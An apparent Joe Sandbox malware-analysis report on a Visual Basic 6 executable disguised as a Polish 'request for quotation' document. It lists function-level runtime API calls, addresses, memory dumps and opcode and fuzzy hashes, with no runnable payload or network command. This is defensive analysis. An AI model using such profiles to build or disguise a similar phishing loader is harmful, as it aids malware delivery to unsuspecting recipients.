__vbaFreeStr.MSVBVM60(?,?,?,00000000,Function_000032B6), ref: 0042A075

Memory Dump Source

Source File: 00000000.00000002.2026772498.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2026333371.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026486000.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026855820.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026877233.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZAPYTANIE OFERTOWE ST-2024-S315 CPA9170385.jbxd

Similarity

API ID: __vba$ErrorFree$System$AnsiCopyUnicode$Chkstk
String ID:
API String ID: 3031735744-0
Opcode ID: ec505b9da935685f743cf272e17281aba0119273a56e583c7af6864e293ea477
Instruction ID: 5fd8a786a428ecf44f1591115f944ef2e4a492f21aad71c04980f5145bc2ad87
Opcode Fuzzy Hash: ec505b9da935685f743cf272e17281aba0119273a56e583c7af6864e293ea477
Instruction Fuzzy Hash: B731DBB1900209EFCB04EFE4DE49FDE7BB8BB48705F108259F612B65A0D7745A48CB65

Function 00429E10 Relevance: 22.6, APIs: 15, Instructions: 76COMMON

Download Yara Rule

APIs

__vbaChkstk.MSVBVM60(00000000,004032B6,?,?,0040CBB8,80000002,00000000,00000000), ref: 00429E2E
__vbaStrCopy.MSVBVM60(?,?,?,00000000,004032B6), ref: 00429E5B
__vbaStrCopy.MSVBVM60(?,?,?,00000000,004032B6), ref: 00429E67
__vbaOnError.MSVBVM60(000000FF,?,?,?,00000000,004032B6), ref: 00429E76
__vbaStrToAnsi.MSVBVM60(?,?,?,?,?,?,00000000,004032B6), ref: 00429E8F
__vbaSetSystemError.MSVBVM60(00000000,00000000,?,?,?,00000000,004032B6), ref: 00429E9F
__vbaStrToUnicode.MSVBVM60(?,?,?,?,?,00000000,004032B6), ref: 00429EAD
__vbaFreeStr.MSVBVM60(?,?,?,00000000,004032B6), ref: 00429EB6
__vbaStrToAnsi.MSVBVM60(?,?,?,?,?,00000000,004032B6), ref: 00429ECB
__vbaSetSystemError.MSVBVM60(?,00000000,?,?,?,00000000,004032B6), ref: 00429EDB
__vbaStrToUnicode.MSVBVM60(?,?,?,?,?,00000000,004032B6), ref: 00429EE9
__vbaFreeStr.MSVBVM60(?,?,?,00000000,004032B6), ref: 00429EF2
__vbaSetSystemError.MSVBVM60(?,?,?,?,00000000,004032B6), ref: 00429F08
__vbaFreeStr.MSVBVM60(00429F32,?,?,?,00000000,004032B6), ref: 00429F22
__vbaFreeStr.MSVBVM60(?,?,?,00000000,004032B6), ref: 00429F2B

Memory Dump Source

Source File: 00000000.00000002.2026772498.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2026333371.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026486000.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026855820.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026877233.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZAPYTANIE OFERTOWE ST-2024-S315 CPA9170385.jbxd

Similarity

API ID: __vba$ErrorFree$System$AnsiCopyUnicode$Chkstk
String ID:
API String ID: 3031735744-0
Opcode ID: 8dba7990584796c2d513886add396c5f5192d76287c72b2b2e7eaf5777dcc1de
Instruction ID: ef05815d91a7badc13ce189a5e2ee1fd6bd11c379c37ab60153baacb3b4262a3
Opcode Fuzzy Hash: 8dba7990584796c2d513886add396c5f5192d76287c72b2b2e7eaf5777dcc1de
Instruction Fuzzy Hash: 5231CBB5910149EFCB04EFE4DE48EDEBBB8FB48715F108269F502B61A0DB745A44CB64

Function 00415980 Relevance: 21.1, APIs: 14, Instructions: 91COMMON

Download Yara Rule

APIs

__vbaChkstk.MSVBVM60(?,Function_000032B6,?,?,?,0041B687,0042C0E8,?), ref: 0041599E
__vbaOnError.MSVBVM60(000000FF,00000000,6CF8D8B1,6CF8DF85,?,Function_000032B6), ref: 004159CE
#580.MSVBVM60(?,00000000), ref: 004159E3
#648.MSVBVM60(0000000A), ref: 00415A02
__vbaFreeVar.MSVBVM60 ref: 00415A0F
__vbaFileOpen.MSVBVM60(00000020,000000FF,?), ref: 00415A2B
#570.MSVBVM60(?,?), ref: 00415A42
__vbaPut4.MSVBVM60(00000000,00000000,-00000001), ref: 00415A58
__vbaStrCopy.MSVBVM60 ref: 00415A6D
__vbaPut3.MSVBVM60(00000000,?,?), ref: 00415A7E
__vbaFreeStr.MSVBVM60 ref: 00415A87
__vbaFileClose.MSVBVM60(?), ref: 00415A99
#580.MSVBVM60(?,00000027), ref: 00415AAE
__vbaErrorOverflow.MSVBVM60 ref: 00415AE2

Memory Dump Source

Source File: 00000000.00000002.2026772498.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2026333371.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026486000.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026855820.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026877233.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZAPYTANIE OFERTOWE ST-2024-S315 CPA9170385.jbxd

Similarity

API ID: __vba$#580ErrorFileFree$#570#648ChkstkCloseCopyOpenOverflowPut3Put4
String ID:
API String ID: 633625294-0
Opcode ID: c184e6fed43095bbc808ed6dabd80215540fbf370ef609e54faf454b01daf8be
Instruction ID: 077cd5495f4d2610dc4ebb710a7c1806296cb1f910c24ca7336927bb814984b8
Opcode Fuzzy Hash: c184e6fed43095bbc808ed6dabd80215540fbf370ef609e54faf454b01daf8be
Instruction Fuzzy Hash: FE311AB5900208EFEB04DF94DA48BDEBBB8FF48715F108259F501BB6A0D7795A84CB64

Function 00419B10 Relevance: 21.1, APIs: 14, Instructions: 82COMMON

Download Yara Rule

APIs

__vbaChkstk.MSVBVM60(?,Function_000032B6,?,?,?,?,0040DFD2,?,?,?,Function_000032B6), ref: 00419B2E
__vbaOnError.MSVBVM60(000000FF,?,?,?,?,Function_000032B6), ref: 00419B5E
__vbaSetSystemError.MSVBVM60(?,?,?,?,?,Function_000032B6), ref: 00419B79
#525.MSVBVM60(?,?,?,?,?,?,Function_000032B6), ref: 00419B83
__vbaStrMove.MSVBVM60(?,?,?,?,?,Function_000032B6), ref: 00419B8E
__vbaSetSystemError.MSVBVM60(?,?,?,?,?,?,Function_000032B6), ref: 00419BA9
__vbaStrToAnsi.MSVBVM60(?,?,?,?,?,?,?,?,?,Function_000032B6), ref: 00419BC4
__vbaSetSystemError.MSVBVM60(00000000,00000000,?,?,?,?,?,?,Function_000032B6), ref: 00419BD6
__vbaStrToUnicode.MSVBVM60(?,?,?,?,?,?,?,?,Function_000032B6), ref: 00419BE4
__vbaFreeStr.MSVBVM60(?,?,?,?,?,?,Function_000032B6), ref: 00419BED
#519.MSVBVM60(?,?,?,?,?,?,?,Function_000032B6), ref: 00419BFE
__vbaStrMove.MSVBVM60(?,?,?,?,?,?,Function_000032B6), ref: 00419C09
__vbaFreeStr.MSVBVM60(00419C3D,?,?,?,?,?,?,Function_000032B6), ref: 00419C36
__vbaErrorOverflow.MSVBVM60(?,?,?,?,?,?,Function_000032B6), ref: 00419C53

Memory Dump Source

Source File: 00000000.00000002.2026772498.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2026333371.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026486000.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026855820.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026877233.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZAPYTANIE OFERTOWE ST-2024-S315 CPA9170385.jbxd

Similarity

API ID: __vba$Error$System$FreeMove$#519#525AnsiChkstkOverflowUnicode
String ID:
API String ID: 3463755217-0
Opcode ID: b493d4c5f5f54a827ca7640190fff222c55f1d558614f84cc34330e3b91e4b31
Instruction ID: 59ab86815b635178f25ac20134c8c30b5a73cca353c440905f8b97c0bcbdadc5
Opcode Fuzzy Hash: b493d4c5f5f54a827ca7640190fff222c55f1d558614f84cc34330e3b91e4b31
Instruction Fuzzy Hash: D331CE75900248EFCB04EFA4DA48BDE7BB4FB48305F108669F501B7260DB799A44CB64

Function 004212F0 Relevance: 19.6, APIs: 13, Instructions: 120COMMON

Download Yara Rule

APIs

__vbaRedim.MSVBVM60(00000080,00000001,?,00000011,00000001,-00000001,00000000,6CF84F32,00000000,00000FEE), ref: 0042134B
__vbaAryLock.MSVBVM60(?,00000000), ref: 00421365
__vbaGenerateBoundsError.MSVBVM60 ref: 00421386
__vbaGenerateBoundsError.MSVBVM60 ref: 00421395
__vbaAryLock.MSVBVM60(?,?), ref: 004213A2
__vbaGenerateBoundsError.MSVBVM60 ref: 004213BD
__vbaGenerateBoundsError.MSVBVM60 ref: 004213C6
__vbaSetSystemError.MSVBVM60(00000000,00000000,00000000), ref: 004213E9
__vbaAryUnlock.MSVBVM60(?), ref: 004213F9
__vbaAryUnlock.MSVBVM60(?), ref: 004213FF
__vbaPutOwner3.MSVBVM60(0040A08C,?,00000000), ref: 00421412
__vbaAryDestruct.MSVBVM60(00000000,?,0042143F,6CF84F32,00000000,00000FEE,?,?,?,?,?,?,?,?,?,7FFFFFFF), ref: 00421438
__vbaErrorOverflow.MSVBVM60(00000000,6CF84F32,00000000,00000FEE,?,?,?,?,?,?,?,?,?,7FFFFFFF,Function_000032B6), ref: 00421450

Memory Dump Source

Source File: 00000000.00000002.2026772498.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2026333371.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026486000.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026855820.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026877233.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZAPYTANIE OFERTOWE ST-2024-S315 CPA9170385.jbxd

Similarity

API ID: __vba$Error$BoundsGenerate$LockUnlock$DestructOverflowOwner3RedimSystem
String ID:
API String ID: 3281955820-0
Opcode ID: 47b01bcdffa297faf139a01935df7f97165424e177e24eb6e474878f494e6cb8
Instruction ID: d3bc4d229a8ccd66a9bed061019a776db086e1d909af8dc46df260a90b41282b
Opcode Fuzzy Hash: 47b01bcdffa297faf139a01935df7f97165424e177e24eb6e474878f494e6cb8
Instruction Fuzzy Hash: 5E418170E00219DFDB14EF94DD81AAEF7B9EF58700F50811AE501B7660D6B4A8428BE9

Function 0042A2F9 Relevance: 19.6, APIs: 13, Instructions: 104COMMON

Download Yara Rule

APIs

__vbaRedim.MSVBVM60(00000080,00000004), ref: 0042A30A
__vbaHresultCheckObj.MSVBVM60(00000000,?,004098D4,000000E0,?,?), ref: 0042A334
__vbaHresultCheckObj.MSVBVM60(00000000,?,004098D4,00000188,?,?,?,?), ref: 0042A35B
__vbaLateIdCallLd.MSVBVM60(?,?,00000000,00000000,?,?,?,?), ref: 0042A36D
__vbaAryLock.MSVBVM60(?), ref: 0042A37D
__vbaGenerateBoundsError.MSVBVM60(?,?,?,?,?), ref: 0042A39C
__vbaGenerateBoundsError.MSVBVM60 ref: 0042A3B1
__vbaGenerateBoundsError.MSVBVM60 ref: 0042A3C7
__vbaI4Var.MSVBVM60(?,00000000,?,?,?,00000000), ref: 0042A3E6
__vbaSetSystemError.MSVBVM60(?,00000000), ref: 0042A3F6
__vbaAryUnlock.MSVBVM60(?), ref: 0042A400
__vbaFreeObj.MSVBVM60 ref: 0042A409
__vbaFreeVar.MSVBVM60 ref: 0042A412

Memory Dump Source

Source File: 00000000.00000002.2026772498.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2026333371.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026486000.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026855820.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026877233.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZAPYTANIE OFERTOWE ST-2024-S315 CPA9170385.jbxd

Similarity

API ID: __vba$Error$BoundsGenerate$CheckFreeHresult$CallLateLockRedimSystemUnlock
String ID:
API String ID: 204333147-0
Opcode ID: eed45411d0b160e1ff50d70acd90705767be5c6f0f77f9bda94638718aae2953
Instruction ID: 897c9a6cfbc361b2304c829fc1f6f3fe0cbd2f804f2c9409275e98d7ea74f451
Opcode Fuzzy Hash: eed45411d0b160e1ff50d70acd90705767be5c6f0f77f9bda94638718aae2953
Instruction Fuzzy Hash: E031A234600215EBDB04DBA0DD89EAEB779FF44704F208529F902BB2A1D774AC46CB69

Function 0041A090 Relevance: 18.1, APIs: 12, Instructions: 131COMMON

Download Yara Rule

APIs

__vbaChkstk.MSVBVM60(00000000,Function_000032B6,?,?,?,?,?,?,?,?,Function_000032B6), ref: 0041A0AE
__vbaOnError.MSVBVM60(000000FF,?,?,?,00000000,Function_000032B6), ref: 0041A0DE
__vbaSetSystemError.MSVBVM60(001F03FF,00000000,00000000,?,?,?,00000000,Function_000032B6), ref: 0041A118
__vbaSetSystemError.MSVBVM60(00000000), ref: 0041A141
__vbaSetSystemError.MSVBVM60(00000000), ref: 0041A157
__vbaSetSystemError.MSVBVM60(00000004,00000000,?,?,?,00000000,Function_000032B6), ref: 0041A175
__vbaSetSystemError.MSVBVM60(?,0042C27C,?,?,?,00000000,Function_000032B6), ref: 0041A1B2
__vbaSetSystemError.MSVBVM60(001F03FF,00000000,00000000,?,?,?,00000000,Function_000032B6), ref: 0041A207
__vbaSetSystemError.MSVBVM60(00000000), ref: 0041A230
__vbaSetSystemError.MSVBVM60(00000000), ref: 0041A246
__vbaSetSystemError.MSVBVM60(?,0042C27C,?,?,?,00000000,Function_000032B6), ref: 0041A26C
__vbaSetSystemError.MSVBVM60(?,?,?,?,00000000,Function_000032B6), ref: 0041A28F

Memory Dump Source

Source File: 00000000.00000002.2026772498.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2026333371.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026486000.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026855820.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026877233.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZAPYTANIE OFERTOWE ST-2024-S315 CPA9170385.jbxd

Similarity

API ID: __vba$Error$System$Chkstk
String ID:
API String ID: 1207130036-0
Opcode ID: e179d2bbb2490744295fa45cb8a75386843ea1c857eacf9360e485d96fec70f9
Instruction ID: 8b7a934a7eebc36cfe3af54c4ed22efe6341180558cb6e4886e9f12f2822d10f
Opcode Fuzzy Hash: e179d2bbb2490744295fa45cb8a75386843ea1c857eacf9360e485d96fec70f9
Instruction Fuzzy Hash: 7B51FA74901208EBDB10DFE4DA48BDEBBB5FF48308F208569E501B7390D7799A44DBA9

Function 0041E730 Relevance: 18.1, APIs: 12, Instructions: 85COMMON

Download Yara Rule

APIs

__vbaChkstk.MSVBVM60(?,Function_000032B6,?,?,?,0040F418,0042C0BC,?), ref: 0041E74E
__vbaOnError.MSVBVM60(000000FF,?,?,?,?,Function_000032B6), ref: 0041E77E
__vbaStrToAnsi.MSVBVM60(?,?,?,?,?,?,Function_000032B6), ref: 0041E795
__vbaSetSystemError.MSVBVM60(00000000,?,?,?,?,?,Function_000032B6), ref: 0041E7A1
__vbaStrToUnicode.MSVBVM60(0042C0BC,?,?,?,?,?,?,Function_000032B6), ref: 0041E7AF
__vbaFreeStr.MSVBVM60(?,?,?,?,?,Function_000032B6), ref: 0041E7B8
__vbaStrToAnsi.MSVBVM60(?,00000000,00000000,00000000,?,?,?,?,?,Function_000032B6), ref: 0041E7D3
__vbaStrToAnsi.MSVBVM60(?,00000000,00000000,?,?,?,?,?,Function_000032B6), ref: 0041E7E4
__vbaSetSystemError.MSVBVM60(00000000,00000000,?,?,?,?,?,Function_000032B6), ref: 0041E7F5
__vbaStrToUnicode.MSVBVM60(0042C0BC,?,?,?,?,?,?,Function_000032B6), ref: 0041E803
__vbaStrToUnicode.MSVBVM60(00000000,?,?,?,?,?,?,Function_000032B6), ref: 0041E811
__vbaFreeStrList.MSVBVM60(00000002,?,?,?,?,?,?,?,Function_000032B6), ref: 0041E827

Memory Dump Source

Source File: 00000000.00000002.2026772498.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2026333371.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026486000.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026855820.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026877233.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZAPYTANIE OFERTOWE ST-2024-S315 CPA9170385.jbxd

Similarity

API ID: __vba$AnsiErrorUnicode$FreeSystem$ChkstkList
String ID:
API String ID: 3861917509-0
Opcode ID: 85e4f07598a0960e0cabd3e4e7a1ed0f25af75eec3b758aa50ec09c6dfd0cf73
Instruction ID: a92ad539ecbf6efebda2d3259df1282ada01a5d6d20107e5edffdf3838fad138
Opcode Fuzzy Hash: 85e4f07598a0960e0cabd3e4e7a1ed0f25af75eec3b758aa50ec09c6dfd0cf73
Instruction Fuzzy Hash: 61310CB5900208EFCB00DFE4DA88FDEBBB8EB48314F108259F501B7290C7789A44CBA4

Function 00415830 Relevance: 18.1, APIs: 12, Instructions: 67COMMON

Download Yara Rule

APIs

__vbaChkstk.MSVBVM60(0040CEB3,004032B6,0040CEB3,?,?,?,00000000,004032B6), ref: 0041584E
__vbaOnError.MSVBVM60(000000FF,?,?,?,0040CEB3,004032B6,0040CEB3), ref: 0041587E
#648.MSVBVM60(0000000A), ref: 0041589D
__vbaFreeVar.MSVBVM60 ref: 004158AA
__vbaFileOpen.MSVBVM60(00000120,000000FF,?), ref: 004158C9
#570.MSVBVM60(?), ref: 004158DB
#525.MSVBVM60(00000000), ref: 004158E2
__vbaStrMove.MSVBVM60 ref: 004158ED
__vbaGet3.MSVBVM60(00000000,?,?), ref: 00415905
__vbaFileClose.MSVBVM60(?), ref: 00415917
__vbaStrCopy.MSVBVM60 ref: 0041592A
__vbaFreeStr.MSVBVM60(0041595E), ref: 00415957

Memory Dump Source

Source File: 00000000.00000002.2026772498.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2026333371.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026486000.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026855820.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026877233.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZAPYTANIE OFERTOWE ST-2024-S315 CPA9170385.jbxd

Similarity

API ID: __vba$FileFree$#525#570#648ChkstkCloseCopyErrorGet3MoveOpen
String ID:
API String ID: 947554498-0
Opcode ID: a4844d169c03657195c66291a7f0840fb89a4f1fe1073a2b47ba6fd526ef2949
Instruction ID: 9d0290c9668b0b97bc5e056eca09828b1551f52cd0b7d0ae963dc3f7ea44dd8b
Opcode Fuzzy Hash: a4844d169c03657195c66291a7f0840fb89a4f1fe1073a2b47ba6fd526ef2949
Instruction Fuzzy Hash: A0314BB5C00248EBDB00DFD4DA48BDEBBB8FF08714F208159E611B72A0DB795A48CB64

Function 00405037 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 130COMMON

Download Yara Rule

APIs

__vbaChkstk.MSVBVM60(00000000,Function_000032B6), ref: 0040FF4E
__vbaOnError.MSVBVM60(000000FF,?,?,?,00000000,Function_000032B6), ref: 0040FF95
__vbaObjSet.MSVBVM60(?,00000000,?,?,?,00000000,Function_000032B6), ref: 0040FFC6
__vbaHresultCheckObj.MSVBVM60(00000000,?,004082BC,0000004C), ref: 0040FFF9
__vbaFreeObj.MSVBVM60 ref: 00410038
__vbaObjSet.MSVBVM60(?,00000000), ref: 00410081
__vbaHresultCheckObj.MSVBVM60(00000000,?,004082BC,00000040), ref: 004100B9
__vbaLateIdCall.MSVBVM60(?,60030004,00000000), ref: 004100DC
__vbaFreeObjList.MSVBVM60(00000002,?,?), ref: 004100EF
__vbaCastObj.MSVBVM60(00000000,004077C4), ref: 00410112
__vbaObjSet.MSVBVM60(?,00000000), ref: 0041011D
__vbaHresultCheckObj.MSVBVM60(00000000,?,00406330,00000730), ref: 00410150
__vbaFreeObj.MSVBVM60 ref: 0041016B

Strings

[, xrefs: 00405037

Memory Dump Source

Source File: 00000000.00000002.2026772498.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2026333371.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026486000.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026855820.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026877233.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZAPYTANIE OFERTOWE ST-2024-S315 CPA9170385.jbxd

Similarity

API ID: __vba$CheckFreeHresult$CallCastChkstkErrorLateList
String ID: [
API String ID: 269068952-784033777
Opcode ID: 5016deb1a59da2f2e0196918561fb49243e5c565f0178785edbf7654f715f660
Instruction ID: 16c54425a3ce120e5e2135e3149755cc9251ea993a7cd341aaf2995901e8571e
Opcode Fuzzy Hash: 5016deb1a59da2f2e0196918561fb49243e5c565f0178785edbf7654f715f660
Instruction Fuzzy Hash: 61512A75900608EBDB10DFA4D948BDEBBB4FF08704F20825DF515AB291D7799A84CFA8

Function 00419626 Relevance: 16.6, APIs: 11, Instructions: 114COMMON

Download Yara Rule

APIs

__vbaAryLock.MSVBVM60(00000000,?), ref: 00419650
__vbaGenerateBoundsError.MSVBVM60 ref: 00419688
__vbaGenerateBoundsError.MSVBVM60 ref: 004196A2
__vbaStrMove.MSVBVM60(?), ref: 004196C9
__vbaAryUnlock.MSVBVM60(00000000), ref: 004196D3
__vbaStrComp.MSVBVM60(00000001,00000000,?), ref: 004196E5
__vbaFreeStr.MSVBVM60 ref: 004196FA
__vbaGenerateBoundsError.MSVBVM60 ref: 00419745
__vbaGenerateBoundsError.MSVBVM60 ref: 0041975F
__vbaCopyBytes.MSVBVM60(00000010,00000000,?), ref: 0041977E
__vbaErase.MSVBVM60(00000000,?), ref: 004197AC
__vbaErase.MSVBVM60(00000000,?), ref: 004197BF
__vbaAryDestruct.MSVBVM60(00000000,?,00419803), ref: 004197F0
__vbaAryDestruct.MSVBVM60(00000000,?), ref: 004197FC
__vbaErrorOverflow.MSVBVM60 ref: 0041981A

Memory Dump Source

Source File: 00000000.00000002.2026772498.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2026333371.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026486000.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026855820.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026877233.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZAPYTANIE OFERTOWE ST-2024-S315 CPA9170385.jbxd

Similarity

API ID: __vba$Error$BoundsGenerate$DestructErase$BytesCompCopyFreeLockMoveOverflowUnlock
String ID:
API String ID: 2458773320-0
Opcode ID: 385b518716c5d96581d354086ed4219ffaaac5b28a4e957e8dddbad5aed777d6
Instruction ID: b4eaaf3b6912c0b715553f9d0a6d665ec823eac17e865164621a45f09c466846
Opcode Fuzzy Hash: 385b518716c5d96581d354086ed4219ffaaac5b28a4e957e8dddbad5aed777d6
Instruction Fuzzy Hash: E8510874A10109EFDB08DF94DAA8BEDB7B5FF44301F208199E516AB290CB74AD81CF55

Function 004295B0 Relevance: 16.6, APIs: 11, Instructions: 86COMMON

Download Yara Rule

APIs

__vbaStrToAnsi.MSVBVM60(?,00000000,?,?,?,?,?,?,?,?,?,004032B6,00000000), ref: 004295F7
__vbaStrToAnsi.MSVBVM60(?,?,00000000,?,?,?,?,?,?,?,?,?,004032B6,00000000), ref: 00429604
__vbaStrToAnsi.MSVBVM60(?,?,00000000,?,00000000,?,?,?,?,?,?,?,?,?,004032B6,00000000), ref: 00429611
__vbaStrToAnsi.MSVBVM60(?,?,00000000,?,00000000,?,00000000,?,?,?,?,?,?,?,?,?), ref: 0042961E
__vbaSetSystemError.MSVBVM60(00000000,?,00000000,?,00000000,?,00000000,?,?,?,?,?,?,?,?,?), ref: 00429629
__vbaStrToUnicode.MSVBVM60(00000000,?,?,00000000,?,00000000,?,00000000), ref: 0042963D
__vbaStrToUnicode.MSVBVM60(004032B6,?,?,00000000,?,00000000,?,00000000), ref: 00429647
__vbaStrToUnicode.MSVBVM60(?,?,?,00000000,?,00000000,?,00000000), ref: 0042964E
__vbaStrToUnicode.MSVBVM60(?,?,?,00000000,?,00000000,?,00000000), ref: 00429655
__vbaI2I4.MSVBVM60(?,00000000,?,00000000,?,00000000,?,?,?,?,?,?,?,?,?,004032B6), ref: 0042965A
__vbaFreeStrList.MSVBVM60(00000004,?,?,?,?,?,00000000,?,00000000,?,00000000), ref: 00429675

Memory Dump Source

Source File: 00000000.00000002.2026772498.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2026333371.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026486000.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026855820.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026877233.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZAPYTANIE OFERTOWE ST-2024-S315 CPA9170385.jbxd

Similarity

API ID: __vba$AnsiUnicode$ErrorFreeListSystem
String ID:
API String ID: 3859701107-0
Opcode ID: 5c61e922defa331cc4ce072f563674e95d7f8f498ef2ac34effc3ba57cb8711b
Instruction ID: 594d62947b0162dfde37296f4cb3f61c41ad37821fc0585372e9270dc8f55869
Opcode Fuzzy Hash: 5c61e922defa331cc4ce072f563674e95d7f8f498ef2ac34effc3ba57cb8711b
Instruction Fuzzy Hash: D031B6B5D10219AFCB04DFA4CD85DEFBBBCEB8C700F10455AE901A7250D674A9058FB4

Function 0040DAA0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 72COMMON

Download Yara Rule

APIs

__vbaChkstk.MSVBVM60(?,Function_000032B6), ref: 0040DABE
__vbaOnError.MSVBVM60(000000FF,?,?,?,?,Function_000032B6), ref: 0040DB05
__vbaStrCat.MSVBVM60( RU,00000000,?,?,?,?,Function_000032B6), ref: 0040DB1E
__vbaStrMove.MSVBVM60(?,?,?,?,Function_000032B6), ref: 0040DB29

Part of subcall function 0042A090: __vbaChkstk.MSVBVM60(00000000,004032B6,?,?,?,0040CA73,80000002,00000000), ref: 0042A0AE
Part of subcall function 0042A090: __vbaStrCopy.MSVBVM60(?,?,?,00000000,004032B6), ref: 0042A0DB
Part of subcall function 0042A090: __vbaStrCopy.MSVBVM60(?,?,?,00000000,004032B6), ref: 0042A0E7
Part of subcall function 0042A090: __vbaStrCopy.MSVBVM60(?,?,?,00000000,004032B6), ref: 0042A0F3
Part of subcall function 0042A090: __vbaOnError.MSVBVM60(000000FF,?,?,?,00000000,004032B6), ref: 0042A102
Part of subcall function 0042A090: __vbaStrToAnsi.MSVBVM60(?,?,?,?,?,?,00000000,004032B6), ref: 0042A11B
Part of subcall function 0042A090: __vbaSetSystemError.MSVBVM60(80000002,00000000,?,?,?,00000000,004032B6), ref: 0042A12B
Part of subcall function 0042A090: __vbaStrToUnicode.MSVBVM60(?,?,?,?,?,00000000,004032B6), ref: 0042A139
